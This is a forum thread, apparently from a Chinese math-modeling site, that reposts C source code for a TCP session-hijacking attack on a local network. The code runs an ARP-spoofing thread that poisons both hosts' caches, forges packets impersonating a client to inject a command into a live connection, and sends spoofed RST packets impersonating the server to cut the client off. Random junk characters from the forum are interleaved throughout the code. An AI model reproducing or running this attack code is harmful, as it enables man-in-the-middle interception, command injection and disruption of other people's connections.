+ K) s9 W" o" i: j      if( (pTmp-&gt;dwServerIP == dwServerIP) &amp;&amp;
" A) n6 q% l0 f7 r" `- k) h        (pTmp-&gt;uServerPort == uServerPort) &amp;&amp; 9 \+ @: {, I0 i+ X" _4 A
        (pTmp-&gt;dwClientIP == dwClientIP) &amp;&amp;
4 ]3 k! U6 i+ D4 G        (pTmp-&gt;uClientPort == uClientPort) )
% X% K6 i9 j6 k; ~+ }      { ; m0 Y) n7 _( w( T. }
        if(bDelete)
% R/ z( _/ F; O* Z$ |: K        {
7 m% X$ [! P* ^& ?0 f          pTmp-&gt;bActive = FALSE; ( z4 @0 S2 |5 ]! E* g; m$ I) A
          return 0;
  U3 ], }; P7 r. I0 G        } " d' f1 Q  I, |# L: F' o- A
        else return pTmp-&gt;ident;
# w4 y0 C4 W* W8 X, v+ E' B6 f      } ' J+ p/ M3 r7 g0 G: X4 K
    }
. d1 w' r/ H: a, ^6 K+ G    pTmp = pTmp-&gt;Next;
! A8 v  M9 m  h  }
# p$ L# P( H5 n% M  //not found, create new node
% I& z' |0 X2 v! y  if( (!pTmp) &amp;&amp; (!bDelete) &amp;&amp; (bAddNew) )
- o" ?2 n) p2 [* D  {
, j: Z( c% M& ~% Q    //search unactive note
8 x1 }5 V( S# s3 [3 l4 U/ A    pTmp = g_pConnHead;
" Z5 b6 ~4 T  E    while(pTmp) ; ]7 s* z! v3 E/ ^5 ~! ~6 ~
    { 0 X, g( X& Z8 E& Q9 y. Z
      if(!pTmp-&gt;bActive) break; : F' P3 {+ c4 Y, j7 f( U
      pTmp = pTmp-&gt;Next;
1 O# D2 O5 B" |5 f: r* \  j& o    } 3 m2 ]( N: n# A( R. c+ T3 I
    //found a unactive node
, |, v' f+ {; l3 P. z- q    if(pTmp) ! x# [0 e" x/ D7 s4 k
    { : g9 R# M& G( z& a6 R1 S2 u, k
      pTmp-&gt;dwServerIP = dwServerIP;
- z' z' [* k& ]6 z; x& ]      pTmp-&gt;uServerPort = uServerPort;
# n% n, Z! r% v" [. P      pTmp-&gt;dwClientIP = dwClientIP; - I3 ?" a' k2 K/ k  u
      pTmp-&gt;uClientPort = uClientPort;
: X1 I4 x. R! V      pTmp-&gt;bActive = TRUE;
" z1 L5 T0 _! X- s8 h$ ]5 M$ ]( H      return pTmp-&gt;ident; 9 t* j- c# k+ H7 ^9 k( `
    } & f# B8 k/ ~, Y3 g2 I5 x$ P# U
    //not found,create new node # r5 z; ?. d) s3 D. {* g' M4 X) k
    pNew = (PCONNINFO)malloc(sizeof(CONNINFO)); 2 J! D6 @; x9 H( w2 h& S( Y+ H
    if(!pNew) / ~$ q# Z* D+ I4 R* T& _" |
    {
' D: W, H/ P  j7 ~' ^/ U      printf("malloc for link node error:%d\n", GetLastError()); 1 i7 N5 h: i9 ^* [
      return 0;
- u  W1 j) w4 f9 g- U- f    }
. L. B7 _: C8 f2 g    //fill the struct
: }  @1 W; G2 t( P0 Q! v2 g    pNew-&gt;bActive = TRUE; 1 X0 _; p- i; h/ W- r
    pNew-&gt;dwServerIP = dwServerIP; # F3 v: t% K! V  Y8 Q  N
    pNew-&gt;uServerPort = uServerPort; 5 q. ~# Y6 |7 _! |
    pNew-&gt;dwClientIP = dwClientIP; 0 V) m9 [" S5 U9 x0 l' A% l
    pNew-&gt;uClientPort = uClientPort; " L/ c! A2 d% A) H4 F, X6 L3 _
    pNew-&gt;ident = ++g_ident; : T4 H4 P; s3 G; l
    pNew-&gt;Next = NULL;
$ E, s2 p. F% m5 \6 H( p8 g    //add new node to link % q3 L/ w8 z7 }
    if(!g_pConnHead)   o1 Z+ k, V3 N4 ?6 m
      g_pConnHead = g_pConnLast = pNew; & Q/ ?1 m7 K6 ~
    else
& d3 ]8 M( ~" b7 D3 |    {
6 {8 n$ v8 o$ n  c$ Q% w      g_pConnLast-&gt;Next = pNew;
. y+ M! K* \) Y! A" p      g_pConnLast = pNew; ' a4 [/ L2 k/ J, g8 ~) f
    } ' G* P' K7 Y) A, d
    return pNew-&gt;ident;   V% T! M+ J9 \. v$ f7 }
  } 5 j/ D' g# i, F% X" c
  return 0; - Y: Q0 D# W% ~$ G0 u& n2 t
}
' C( d0 z$ R9 }/ w: l. P  j* ?9 X! D' Q9 O0 V* h( Y/ m
//
3 [2 _, n5 }, p//功能:判断一个数据包是不是只有ACK标志
( w! c% u2 }8 _' C# c// 9 _. |: I0 e2 I/ Y* E
BOOL IsACKPacket(unsigned char flag) " C  C( f8 H& X2 ]! @9 x
{
8 {' w9 N+ a  o  int  i, j=1;
6 G* f/ H. P2 Z1 G( x5 L% t& w  for(i=0 ; i&lt;4; i++)
7 H% B# E4 p, q: G+ F" C  { 5 L  S- \% f  {. \: t7 u
    if(flag &amp; j) return FALSE; / j5 `! ?9 d8 T9 z+ I9 t: g
    j &lt;&lt;= 1; 6 s" K% j0 W7 A  _! g$ g- C
  }
: c7 W8 v, d; G  if(!(flag &amp; 0x10)) return FALSE;//is ack?
  r2 f& o6 r- I7 M+ J. @! m  if(flag &amp; 0x20) return FALSE;
; |2 T; {: C: M( }% C9 V  u0 M  return TRUE;
3 ~3 ^, V4 f: s" z7 I}
, N0 u4 R& }; w% t7 R. M( S  c( u- K) I' a0 f3 v
// 5 X5 H6 ]( b1 [
//功能:伪装成Client给Server发送数据包 , O; I* J4 X9 H- L. J* E
// 0 s! l; C" N9 n2 V; z- S: {
BOOL SendHiJackPacket(PTCPPACKET pTempletPacket)
; n) l1 w1 `9 O5 y- M{
2 D" y# ]# S  C& k& D2 C  ^3 H
4 k! n1 o/ x+ t0 C( q; x8 I7 a  char    szBuff[1520];
& q/ |# w6 Z3 R: t1 u  PSDHDR    psdhdr; " L$ ~/ V6 ^( M' K. D
  PTCPPACKET  pHiJackPacket = NULL; ( H( \) \! q0 W
  BOOL    bRet = FALSE;
8 p: x/ M) F4 N5 L3 e) V$ n- o# m! N4 L$ i% L" t: v4 I( V
  __try
+ Z# S. _5 e$ P6 q0 r7 S  {
& c& ~2 [. ?2 _    //
% v* N9 z1 [: A    if(!g_pCurrCtrlConn) __leave; # T( b& u; h3 \/ J
    //allocate memory for hijack packet
- n% u& j5 P% t! i7 ]    pHiJackPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET));
1 x$ m/ n$ z; k9 P    if(!pHiJackPacket) 0 u! F  [9 @. l. n
    { ( c  M0 W6 g! t$ A6 y' y# O) ~
      printf("malloc error:%d\n", GetLastError()); % b& M0 Y  @. c# L0 ]. E8 d
      __leave; ' e: c( g% X! D  Y7 K
    } $ G: D, `( Q) s& f6 p
    memcpy(pHiJackPacket, pTempletPacket, sizeof(TCPPACKET));
  E, s& K4 E- \, b1 W    //-------------- modify the packet ---------------//
% M* w6 }+ f. h' r! ?& q! M    //modify ethernet head
; S( W( r9 \" \, _. B3 t    memcpy(pHiJackPacket-&gt;ehhdr.DestMAC, g_szServerSideMAC, 6); 7 M5 h3 T) ^. B
    memcpy(pHiJackPacket-&gt;ehhdr.SourceMAC, g_szOwnMAC, 6); / u# ^* [4 f1 H, P5 C9 u5 K# X
    //modify ip head
1 R) Y" ^0 W0 n5 d, ~! Y    pHiJackPacket-&gt;iphdr.h_verlen = (4&lt;&lt;4 | sizeof(IPHDR)/sizeof(unsigned long)); 1 I4 F9 p5 h9 ~: d9 K
    pHiJackPacket-&gt;iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR)+strlen(g_szCommand)); " Y0 q) T0 j4 B$ h. V6 o
    pHiJackPacket-&gt;iphdr.ident += 1;//标识加1
# M, K! Q2 T$ ^2 A    pHiJackPacket-&gt;iphdr.checksum = 0;
; u6 B+ S$ O5 k; |- w    pHiJackPacket-&gt;iphdr.sourceIP = g_pCurrCtrlConn-&gt;dwClientIP;//源IP地址,伪装成client 7 G7 N, D7 o( z1 h/ T
    pHiJackPacket-&gt;iphdr.destIP = g_pCurrCtrlConn-&gt;dwServerIP;//目的IP地址,接收hijack包的地址 - ~- k1 _" X' G' L5 D9 i
    //modify tcp head 6 U0 z& z& j8 U+ G4 o
    pHiJackPacket-&gt;tcphdr.th_sport = g_pCurrCtrlConn-&gt;uClientPort;//client's port + K! Q  w" f6 b/ S$ s0 f
    pHiJackPacket-&gt;tcphdr.th_dport = g_pCurrCtrlConn-&gt;uServerPort;//server's port ' u/ X: f; C1 R) @; D
    pHiJackPacket-&gt;tcphdr.th_lenres = (sizeof(TCPHDR)/4 &lt;&lt; 4 | 0);
/ V$ s! o; Y: g( A6 Z, v    pHiJackPacket-&gt;tcphdr.th_flag = 0x18;// PA
( ^/ {! H$ G# I* Z( t    pHiJackPacket-&gt;tcphdr.th_sum = 0; # ]/ d( [  J2 m( V' z# \$ ~- \" ?
    pHiJackPacket-&gt;tcphdr.th_win = 0x3F44; 1 m, x  H0 {" m& G: l1 R
    //fill tcp psd head - `( i1 l/ p) s, u2 T
    psdhdr.saddr = pHiJackPacket-&gt;iphdr.sourceIP;           
3 P! i5 M# G0 u: r    psdhdr.daddr = pHiJackPacket-&gt;iphdr.destIP;           
, _' |  t$ L7 f    psdhdr.mbz = 0; 6 b: q$ t5 l7 l7 _2 `& p
    psdhdr.ptcl = IPPROTO_TCP; / {! p; D! G/ L' D6 m1 C9 J
    psdhdr.tcpl = htons(sizeof(TCPHDR) + strlen(g_szCommand));//tcp head + data len , P. G6 B5 C& m
    //calculate tcp checksum     / O& q1 U" N; g3 |) }6 S1 h
    memcpy(szBuff, &amp;psdhdr, sizeof(PSDHDR));   , |3 |* @" u! e1 r# d5 `
    memcpy(szBuff + sizeof(PSDHDR), &amp;pHiJackPacket-&gt;tcphdr, sizeof(TCPHDR));
# z# D  W: S2 c3 C8 C8 x- E    memcpy(szBuff + sizeof(PSDHDR) + sizeof(TCPHDR), g_szCommand, strlen(g_szCommand));
9 z) R5 T2 t* J    pHiJackPacket-&gt;tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR) + strlen(g_szCommand));   P: }- L8 F9 N; V/ Y
    //calculate IP checksum
( J9 |& F4 \! D    pHiJackPacket-&gt;iphdr.checksum = checksum((USHORT *)&amp;pHiJackPacket-&gt;iphdr, sizeof(IPHDR));
7 s6 }$ H' A* H( y' Z    //fill send buffer           
8 i/ @, ?6 T! ]    memcpy(szBuff, (char *)pHiJackPacket, sizeof(TCPPACKET));
& U# B' O8 c6 B7 A- z+ @, \, j    memcpy(szBuff + sizeof(TCPPACKET), g_szCommand, strlen(g_szCommand));
8 x8 p9 w! l: @    memset(szBuff + sizeof(TCPPACKET) + strlen(g_szCommand), 0, 4); " S+ |$ N* d' Q. y
    memset(g_lpSendPacket-&gt;Buffer, 0, 1514);
4 o5 Z7 o3 q: r6 w/ k% {! S    memcpy(g_lpSendPacket-&gt;Buffer, szBuff, sizeof(TCPPACKET) + strlen(g_szCommand)); 9 z% C. A. G- R8 y% E4 g' P
    if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE)
' C: S5 [7 E( {8 x& |, l4 Y" L    {
5 _$ W" V& \( x( d! q1 {3 |      printf("Error sending the hijack packets!\n"); & ]  L: K5 k* [0 ?+ ^
      __leave; 3 ?: e5 `0 K& L' D
    } 1 x: \" t& X+ F- j2 D; b' l
    else printf("Send hijack packet ok!\n");
$ I" F. w& e. h; m    bRet = TRUE;
% [' t) o+ s+ |! Z$ \  Z( z1 a  }
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

__finally $ [7 |2 D* G2 Z% n: m) y
  {
% t1 f5 U/ b, `    if(pHiJackPacket) free(pHiJackPacket); 8 v) p; _( R- z. @: E
  }
& [1 g* q: W6 K) o) g  return bRet; # q+ X( x! _: Y" @) H
} 5 W6 G0 i) A8 P6 b, n3 @$ B* a
# p7 h9 @3 |3 @0 w! E$ `
3 X0 H" ~& X, _6 D; p
// * V. f7 s1 ?8 B% n
//功能:伪装成Server给Client发送rst包 , X4 {' q* {3 R( k6 k! t
//
: C. C3 ~3 M" MBOOL SendRstPacket(unsigned int seq, unsigned int ack)
% J" y9 N9 k- L& ?{ " [- r, f; a# }9 g7 @* O# ~' g
  char    szBuff[60]; % Z$ z9 u2 W& i) X' N& h# p# L
  PSDHDR    psdhdr;
, I$ M1 N  }# f/ T# {* J+ ~- _  PTCPPACKET  pTcpPacket = NULL; + H  v2 g$ g! `) a& H0 G2 t+ `4 H
  BOOL    bRet = FALSE; $ p1 e  j8 n+ \. H
& c6 e: X* I' E2 ~; k# x4 b0 S
  __try
) `: j' S& a- ?( X  {
) C- X4 w, J2 M5 Z( C% Z  i    //检查当前指向想控制的连接的信息的指针是否为空 $ s; w# V, v+ s9 q# H& h, ?5 ~3 t
    if(!g_pCurrCtrlConn) __leave; 3 s& c3 P$ g. V- g
    //allocate memory for rst packet
) }9 x: @+ J6 S& c' |    pTcpPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET)); " K7 A( Q, n; b! H3 r0 K
    if(!pTcpPacket)
% F% O) l7 h6 U6 X- U1 u+ R    { / }3 |' F0 K, t/ y3 |3 [
      printf("malloc error:%d\n", GetLastError());
9 u; O0 h2 X5 u3 m# F$ @( S& q( b5 x      __leave; ; q9 |7 S$ S* P  e: }; f" `) L
    }
2 m% D) k; P4 Y# m9 F) ]  _% c    //fill ethernet head
1 _0 z2 l( p0 n& Y$ R. {    memcpy(pTcpPacket-&gt;ehhdr.DestMAC, g_szClientSideMAC, 6);
( A. E) f4 n' t% X+ W1 T    memcpy(pTcpPacket-&gt;ehhdr.SourceMAC, g_szOwnMAC, 6); 9 ?! \6 W7 Z3 R0 ]* k7 {' P/ V9 z9 `
    pTcpPacket-&gt;ehhdr.EthernetType = htons(EPT_IP);
! j1 N! {# r' D& h    //fil ip head ( L# P9 G  J5 f2 S! p! i
    pTcpPacket-&gt;iphdr.h_verlen = (4&lt;&lt;4 | sizeof(IPHDR)/sizeof(unsigned long)); " q" e- m' f; T5 d3 ]
    pTcpPacket-&gt;iphdr.tos = 0; # {) X8 o9 g+ Z& q5 ~) s  L
    pTcpPacket-&gt;iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR));
" f! T  q- y+ c6 e- O" l    pTcpPacket-&gt;iphdr.ident = 1;
$ U  A( K3 |9 j6 p    pTcpPacket-&gt;iphdr.frag_and_flags = 0;
! {! E4 h8 y% P9 m$ o' m& K- A7 U5 m    pTcpPacket-&gt;iphdr.ttl = 128;
5 |# u! A8 e5 \# k) U% U6 A( I- l    pTcpPacket-&gt;iphdr.proto = IPPROTO_TCP;
3 v2 d' S+ @8 q& ~- X: D3 S    pTcpPacket-&gt;iphdr.checksum = 0; + N6 \) I" a1 Q$ Q% ]" R4 ^/ b+ q
    pTcpPacket-&gt;iphdr.sourceIP = g_pCurrCtrlConn-&gt;dwServerIP;//源IP地址,伪装成服务器的 , G# O) S& U+ A0 a+ `  k
    pTcpPacket-&gt;iphdr.destIP = g_pCurrCtrlConn-&gt;dwClientIP;//接收此rst包的ip地址
3 p: f9 A1 X0 L! N    //fill tcp head
( k1 m2 o  ?4 u2 n& j1 L! j* k$ Z    pTcpPacket-&gt;tcphdr.th_sport = g_pCurrCtrlConn-&gt;uServerPort;//源端口号,伪装成服务器的端口 0 N; l- J5 p- [
    pTcpPacket-&gt;tcphdr.th_dport = g_pCurrCtrlConn-&gt;uClientPort;//接收此rst包的端口
* ?/ Y0 E, C' }8 q* o    pTcpPacket-&gt;tcphdr.th_seq = seq;//SYN
3 O. n6 D7 ?0 l4 m    pTcpPacket-&gt;tcphdr.th_ack = ack;//ACK + F# {  S1 |& p* D7 J
    pTcpPacket-&gt;tcphdr.th_lenres = (sizeof(TCPHDR)/4&lt;&lt;4|0);
0 ~) W+ k- [+ w& I- }, e. D3 C& b1 B    pTcpPacket-&gt;tcphdr.th_flag = 4;//RST flag & R1 O2 o! U9 k
    pTcpPacket-&gt;tcphdr.th_win = 0;
8 V: t: [. z# j- n1 t    pTcpPacket-&gt;tcphdr.th_urp = 0;
, Y. g) p) P9 Y* T$ B    pTcpPacket-&gt;tcphdr.th_sum = 0;
7 }' [+ C% c4 i; j+ o$ m1 Y    //fill tcp psd head # p  m% Q- }& |* F- W
    psdhdr.saddr = pTcpPacket-&gt;iphdr.sourceIP;           
1 B: X) j% _/ P; F, r    psdhdr.daddr = pTcpPacket-&gt;iphdr.destIP;           2 t, o; g( V7 R7 U
    psdhdr.mbz = 0;
" Z8 `0 c* c. a! J4 w" M  e    psdhdr.ptcl = IPPROTO_TCP; : Q" I/ b8 R# O/ O6 {
    psdhdr.tcpl = htons(sizeof(TCPHDR)); & |; j7 [/ m) q, b& R# C
    //calculate tcp checksum     
  T( x! {9 F$ U- f6 c) n4 K: C    memcpy(szBuff, &amp;psdhdr, sizeof(PSDHDR));   
# _, s8 c* \3 p8 k    memcpy(szBuff + sizeof(PSDHDR), &amp;pTcpPacket-&gt;tcphdr, sizeof(TCPHDR));
  M' f3 t5 y8 C/ h    pTcpPacket-&gt;tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR)); 4 n  M8 Q/ v, R2 {, s' q. |
    //calculate IP checksum
$ k! i5 x9 Y9 ^    pTcpPacket-&gt;iphdr.checksum = checksum((USHORT *)&amp;pTcpPacket-&gt;iphdr, sizeof(IPHDR));
6 l6 n" `) q# L9 d$ N& x! F    //fill send buffer . k$ t1 L( E2 U7 V: B$ B
    memset(g_lpSendPacket-&gt;Buffer, 0, 1514);
* m3 K2 p! ?  p4 v8 Z0 z0 k6 k. ]    memcpy(g_lpSendPacket-&gt;Buffer, (char *)pTcpPacket, sizeof(TCPPACKET)); - c" B4 ^" n* }+ _, U
    if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE)
; l4 G6 e) W3 F  O+ D    { 7 {: d; X0 Z* a5 V7 P
      printf("Error sending the rst packets!\n");
! |7 ^" D/ Z, Q- O. A      __leave;   K/ Z% J6 U4 N8 x  w& M
    }
8 x# l# M( {. v- x    else printf("Send RST packet ok!\n"); 5 T0 [2 [5 v( r
    bRet = TRUE;
. ~0 ~& A5 k9 U2 n, L2 ^  } 5 F7 L; _/ w! n$ n$ V
  __finally , q$ D5 G: m, k5 H& T  z' d: ?
  { 9 C. p9 Y0 C  g4 s! m* u0 [
    if(pTcpPacket) free(pTcpPacket);
; O: J3 Z, S* |0 j( J  } 8 Q9 }2 U0 M' y7 s; q: K% d5 ?7 h( ^
  return bRet; % Q0 A, u. }( J3 V
}
. \& ~0 w6 j5 `: L7 Q0 m. ^* [( N0 x$ a9 @" C$ `9 p5 l
// ) v4 v7 F" P2 o6 J. v+ |, N5 N# L  ]
//功能:计算校验和 7 a# u8 u  f* e# f) m+ O
//
1 `& A1 z2 {2 m( m8 n7 B  T( fUSHORT checksum(USHORT *buffer, int size) 3 l3 r8 f. ]% z5 u; `
{ $ Z. g- ]7 L: A
unsigned long cksum=0;
) [3 L7 J+ \" U& L" Y# E$ O while(size &gt;1) {
' I! r0 H7 u& \% D  cksum+=*buffer++; ; x. o3 G* {% a1 E0 Q, {
  size -=sizeof(USHORT);
0 J0 B, m- K  }5 C2 Z } % \* u/ C  a" X9 b% F4 X# C
if(size ) {
, W7 I( X6 ?( F& ~, j# E7 I  cksum += *(UCHAR*)buffer;
+ P1 D3 m4 Y. @7 U2 o } 1 K5 i& T3 y3 f( O% E# L; n2 a$ [
cksum = (cksum &gt;&gt; 16) + (cksum &amp; 0xffff);
2 ~2 R+ [! e7 Y0 `. _5 z5 I5 D+ Z cksum += (cksum &gt;&gt;16);
# d" d9 v) F% m$ a- `) ? return (USHORT)(~cksum);
9 O  F. d( U' h. E+ k5 o' _} $ g0 U8 K* p7 l- E, X4 C' Z4 ~. e

! ]4 X  z, d6 U' i# Y" o7 B" y9 ~+ m//
7 D1 z% G! A; o//功能:实施ARP欺骗
2 F' O1 {9 Z; I2 o; q//1 告诉ServerSide,ClientSide的mac是ownmac 5 c' h* b) Y% O/ }  s+ s
//2 告诉ClientSide,ServerSide的mac是ownmac
7 g. W: g* l7 s+ u2 h4 v. f4 A// ' M/ e2 f  @. f5 Y, @6 A
DWORD WINAPI ArpSpoofThread(LPVOID lpType)
; u: O, }0 _2 C{
  s1 k- T9 J0 e7 l  int  iType = *(int *)lpType; 4 P- f! t' F- _: l
  ARPPACKET  ArpPacket; 5 e% G7 W$ w+ Y8 V) M
  LPPACKET  lpArpPacket;
+ k, ]( B3 s  f& ^! P3 ~( V  char    szArpBuff[60];
; b$ S0 q3 H. u* e( t* N9 {
. J" L0 }5 z5 a# Y  switch(iType) ! L4 }' X" x# C
  {   `, M7 k" [4 ~% O
    case 1: 5 @) k: W/ n, n* u) W& W0 }% T
      memcpy(ArpPacket.ehhdr.DestMAC, g_szServerSideMAC, 6); : ~! k: n5 W8 X+ b5 D# l1 ^$ P
      ArpPacket.arphdr.DestIP = g_ServerSideIP;
' X# a4 `3 F2 Y8 Z* M% j      ArpPacket.arphdr.SourceIP = g_ClientSideIP;
, u  W! U3 ^/ d* V  Q- |# c      break; . H5 c. H" C/ y+ q' f
    case 2:
( y/ Z. B1 J& [2 u* }      memcpy(ArpPacket.ehhdr.DestMAC, g_szClientSideMAC, 6);
+ N, [( ?/ A4 r  H      ArpPacket.arphdr.DestIP = g_ClientSideIP;
& K- ]' X* H) I, t% E7 u3 g      ArpPacket.arphdr.SourceIP = g_ServerSideIP;
) a* S& C/ k; A( S( u; z- P+ @. V7 h      break;
4 X+ }4 X: S. B  m: c" ]# {    default:
$ F0 N! z4 H4 t. M% b: R5 M      return 0; * ?5 M6 R- [4 b, D3 f8 z
  }
0 r. p6 p6 L7 s+ ?' H$ U  //ethernet head 8 B8 {3 V( ]1 ]1 ]+ x  w, J# X
  memcpy(ArpPacket.ehhdr.SourceMAC, g_szOwnMAC, 6);
' l2 P% A1 D3 u/ U+ F  ArpPacket.ehhdr.EthernetType = htons(EPT_ARP);//ethernet type
+ U$ C* [1 m: E# A' i# ^( H  //arp head
2 |1 f* Y5 X6 p) C  memcpy(ArpPacket.arphdr.DestMAC, ArpPacket.ehhdr.DestMAC, 6);//dest's mac
1 C5 D, W0 P- L2 G+ v5 ?2 X  memcpy(ArpPacket.arphdr.SourceMAC, g_szOwnMAC, 6);//sender's mac 1 r% r6 Y- J& S3 w& H9 o/ `
  ArpPacket.arphdr.HrdAddrlen = 6; 3 K( a0 K* K1 `
  ArpPacket.arphdr.ProAddrLen = 4;
. e# T: u( ?" c$ q  ArpPacket.arphdr.HrdType = htons(ARP_HARDWARE);
4 N, S1 c0 u' }. q  ArpPacket.arphdr.ProType = htons(EPT_IP);
. P1 ], G2 f. q" s1 m) k  ArpPacket.arphdr.op = htons(2);//arp reply   H2 f$ M- W1 `! J  m/ H4 x# B

- W/ Q1 R. n: o2 t; U1 U# S  lpArpPacket = PacketAllocatePacket(); * ~1 E1 [5 Q' C2 f& [9 P( ~+ z
  if(lpArpPacket == NULL)
. b" I# u* X8 D7 C+ [4 Q- E3 W+ f/ R  {
" W& k" S: F" A$ ]    printf("Error:failed to allocate the LPPACKET structure for Arp spoof.\n");
7 Z7 s* J! ], ]    return 0;
; m. y) H  e% ^- h  } 7 o0 W1 P  \2 R* s! p
  memset(szArpBuff, 0, sizeof(szArpBuff));
! `- h0 d. @4 }  memcpy(szArpBuff, (char *)&amp;ArpPacket, sizeof(ARPPACKET)); 4 J$ H7 D7 L& D6 {
  PacketInitPacket(lpArpPacket, szArpBuff, 60); # A/ _7 h/ j6 q) A$ {
  //send arp packet
9 B. }: U( S, ?' K  while(1)
. W  D8 Z5 R  T$ _8 W  { ; O3 L$ _1 O/ B) Y" {
    if(PacketSendPacket(g_lpAdapter, lpArpPacket, TRUE) == FALSE)
5 A8 Z% \6 Y, b1 b' S    { / M: }  u0 R& @: Q0 }. H# W/ `
      printf("Error sending the arp spoof packets!\n");
3 @9 Q0 N* b% W' d' I) B' E      return 0; ! Q5 K6 G  F2 T4 J- G" c, q/ i
    }
+ T4 N7 V6 l7 L* k6 [+ V    Sleep(1000); ) ]1 e1 _6 C+ S
  } % m7 I+ x9 F8 |6 p; v/ G
  return 0;
5 K, _" P) S! ], u8 e# ?( F$ ~}
& I6 y8 j1 w# h; o/ \2 I* X$ C2 C5 B9 D3 k* Y
//
& h+ X# t" m7 D: O% u//功能:输入IP取得对应的MAC地址
* t& i5 S% T9 ]( Q8 R// - z% k6 m% G  `! o( [
BOOL GetMACAddr(DWORD DestIP, char *pMAC)
% }, u) ?) X' _. l  |* k{
3 n/ j' \/ @( m2 x) Q; [  DWORD  dwRet;
$ I+ Y7 B1 u" {3 f3 R( m8 Z' W  ULONG  ulLen = 6, pulMac[2];
8 R7 r- k5 O; Z5 M8 @  dwRet = SendARP(DestIP, 0, pulMac, &amp;ulLen);   r0 r$ ~" Z; j. T5 Q7 U
  if(dwRet == NO_ERROR)
* g/ J$ H- j& n  {
4 y( _& _  q1 W& h) Q  [5 T8 v' J" h$ y    memcpy(pMAC, pulMac, 6);
( [3 R, ^; v2 G1 R0 m6 Q0 q    return TRUE; 7 s3 R5 I& `8 P& z! ^6 |5 E
  } # O( g5 Q8 O* o2 y
  else return FALSE; 3 C3 V+ [7 x) k1 x2 s: c  H, @) K" t
}
回复

使用道具 举报

2

主题

15

听众

759

积分

升级  39.75%

  • TA的每日心情
    开心
    2015-8-26 15:55
  • 签到天数: 39 天

    [LV.5]常住居民I

    群组学术交流B

    群组2014数学建模国赛备战

    回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册地址

    qq
    收缩
    • 电话咨询

    • 04714969085
    fastpost

    关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

    手机版|Archiver| |繁體中文 手机客户端  

    蒙公网安备 15010502000194号

    Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

    GMT+8, 2026-6-11 13:24 , Processed in 0.442745 second(s), 91 queries .

    回顶部